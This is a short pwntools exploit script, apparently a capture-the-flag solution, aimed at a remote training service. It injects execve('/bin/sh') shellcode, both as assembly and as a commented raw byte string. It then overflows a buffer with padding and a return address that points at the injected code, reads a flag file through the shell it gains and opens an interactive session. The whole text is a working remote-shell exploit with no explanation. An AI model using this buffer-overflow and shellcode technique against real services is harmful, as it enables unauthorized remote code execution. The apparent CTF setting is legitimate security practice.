from pwn import *

host = 'isc.taiwan-te.ch'
port = 10002

r = remote(host, port)

message_addr = 0x601060

context.arch = 'amd64'

p = asm('''
        mov rbx, 0x68732f6e69622f
        push rbx
        mov rdi, rsp
        xor rsi, rsi
        xor rdx, rdx
        mov rax, 0x3b
        syscall
        ''')

#p = asm(shellcraft.amd64.sh())
#p = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
r.recvuntil(': ')
r.send(p)

p2 = 'a' * 0x18 + p64(message_addr)
r.recvuntil(': ')
r.send(p2)

r.sendline('cat /home/`whoami`/flag')

r.interactive()
